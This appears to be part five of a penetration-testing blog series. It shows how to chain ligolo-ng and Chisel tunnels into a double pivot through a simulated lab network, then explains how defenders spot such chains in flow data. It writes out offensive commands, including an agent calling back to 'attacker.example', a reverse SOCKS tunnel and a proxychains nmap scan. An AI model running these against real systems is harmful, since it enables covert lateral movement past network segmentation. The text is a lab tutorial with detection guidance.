Pivoting and Tunneling Part 5: Double Pivots, Multi-Hop Chains, and Catching Them From the Wire

Lab-only note: continuing the same simulated CONTOSO.LOCAL lab. Authorised testing only.

Every technique so far assumed a single hop — attack box to one pivot, one pivot to the target. Real segmented networks are rarely that generous. In this lab, the firewall policy protecting 10.10.40.0/24 permits exactly one host — FS01 — and WKS01 itself has no route into that segment at all. Getting from an attack box, through WKS01, through FS01, to FIN-DB01 is a double pivot — two hops of tunneling, each one built from the tools in Parts 2 and 3, with the second hop’s traffic riding entirely inside the first.

Building the chain

attacker box ──ligolo-ng──▶ WKS01 ──chisel──▶ FS01 ──▶ 10.10.40.0/24

Hop one, exactly as in Part 3 — a ligolo-ng agent on WKS01 calling back to your proxy:

# WKS01
./agent -connect attacker.example:11601 -ignore-cert

Once that tunnel is up and routed (ip route add 10.10.10.0/24 dev ligolo on the proxy), your attack box has a real route to everything WKS01 can reach on the corporate segment — including FS01 itself.

Hop two has to originate from inside the first tunnel, because FS01 was never directly reachable from your attack box — only from WKS01. Rather than running a second agent, the simpler move here is to launch a Chisel client on WKS01 (reachable now that hop one is up) that reverses a SOCKS proxy from FS01 back through WKS01 to your attacker infrastructure:

# FS01 — dials WKS01, which is itself now reachable through the
# ligolo-ng tunnel from hop one
chisel client https://wks01.contoso.local:8080 R:socks

with a Chisel server listening on WKS01 to catch it:

# WKS01
chisel server -p 8080 --reverse --socks5 -v

The result is two independent tunnels, nested: your attack box reaches WKS01 natively (ligolo-ng’s TUN route), and from WKS01’s perspective it’s running a perfectly ordinary Chisel server that FS01 dials into. Point proxychains at the SOCKS proxy Chisel exposes on WKS01, and traffic now flows attack box → ligolo tunnel → WKS01 → Chisel tunnel → FS01 → 10.10.40.0/24.

proxychains nmap -sT -Pn 10.10.40.10

Why this is worse than Part 4’s problem, not just twice as bad

Part 4 covered a single tunnel’s worth of stacked encapsulation eating into the effective MTU. A double pivot doesn’t just add a second, independent overhead budget — the second tunnel’s traffic has to fit inside whatever effective payload space hop one already left behind, because it’s travelling through hop one, not alongside it. If ligolo-ng’s tunnel to WKS01 converged on an effective 1400-byte ceiling per Part 4’s measurement approach, the Chisel tunnel riding inside it is now working with that as its own path MTU, before subtracting its own TLS/HTTP/SSH framing on top. Run pmtud-sweeper again at each stage rather than assuming the numbers from Part 4 still hold — they compound, and the two tunnels’ framing overheads don’t share a budget cleanly, so guessing tends to be wrong in the direction of “still too large,” which reproduces exactly the silent black-hole symptom Part 4 walked through.

What a double pivot looks like from the defensive side

This is the point in the chain where the attacker’s traffic pattern stops looking like anything a single-host monitoring approach would catch, and starts looking like something only flow-level, network-wide visibility catches. A few concrete signals, in rough order of how reliably they show up:

Internal-to-internal connections that shouldn’t exist. WKS01 running an outbound Chisel-style HTTPS connection to attacker infrastructure is one anomaly. FS01 opening a new, sustained connection to WKS01 — a workstation, not infrastructure FS01 has any normal reason to talk to — on a port neither host’s normal traffic baseline includes, is a second, independent anomaly that shows up in NetFlow/IPFIX long before anyone inspects packet contents. This is exactly the kind of east-west visibility FortiAnalyzer and FortiMonitor for SD-WAN SLA observability is built to surface, applied to security rather than performance monitoring — the same flow records that catch a flapping SLA catch an unexpected internal talker.

Session duration and volume asymmetry. Both hops in this chain are long-lived, low-and-slow connections by design — nothing about a pivot benefits from short bursts. A WKS01-to-attacker HTTPS session open for hours, carrying steady small keepalive traffic punctuated by irregular bursts (whenever you actually run a tool through it), doesn’t match any normal browsing or API pattern and is a strong outlier once you’re looking at session duration distributions rather than individual packets.

The chain has two weak links, not one. Each hop independently exhibits the detection signals covered in Part 2 (Chisel’s keepalive interval, self-signed cert, connection longevity) — a double pivot means a defender only has to catch either hop to unravel the whole chain, which is a meaningfully better position than facing a single, well-hidden tunnel. This is worth remembering from the offensive side too: every additional hop is an additional independent detection surface, not a proportional increase in stealth.

Where this fits

The flow-based detection approach here is the direct security application of the observability instincts in Watching the Fabric — the same telemetry built for SLA monitoring is what actually catches a multi-hop pivot moving through a segmented fabric. Part 6 closes the series by tying the full chain — foothold, single pivot, double pivot — into one attacker narrative and turning it into a hardening checklist against exactly the kind of segmentation this lab relies on.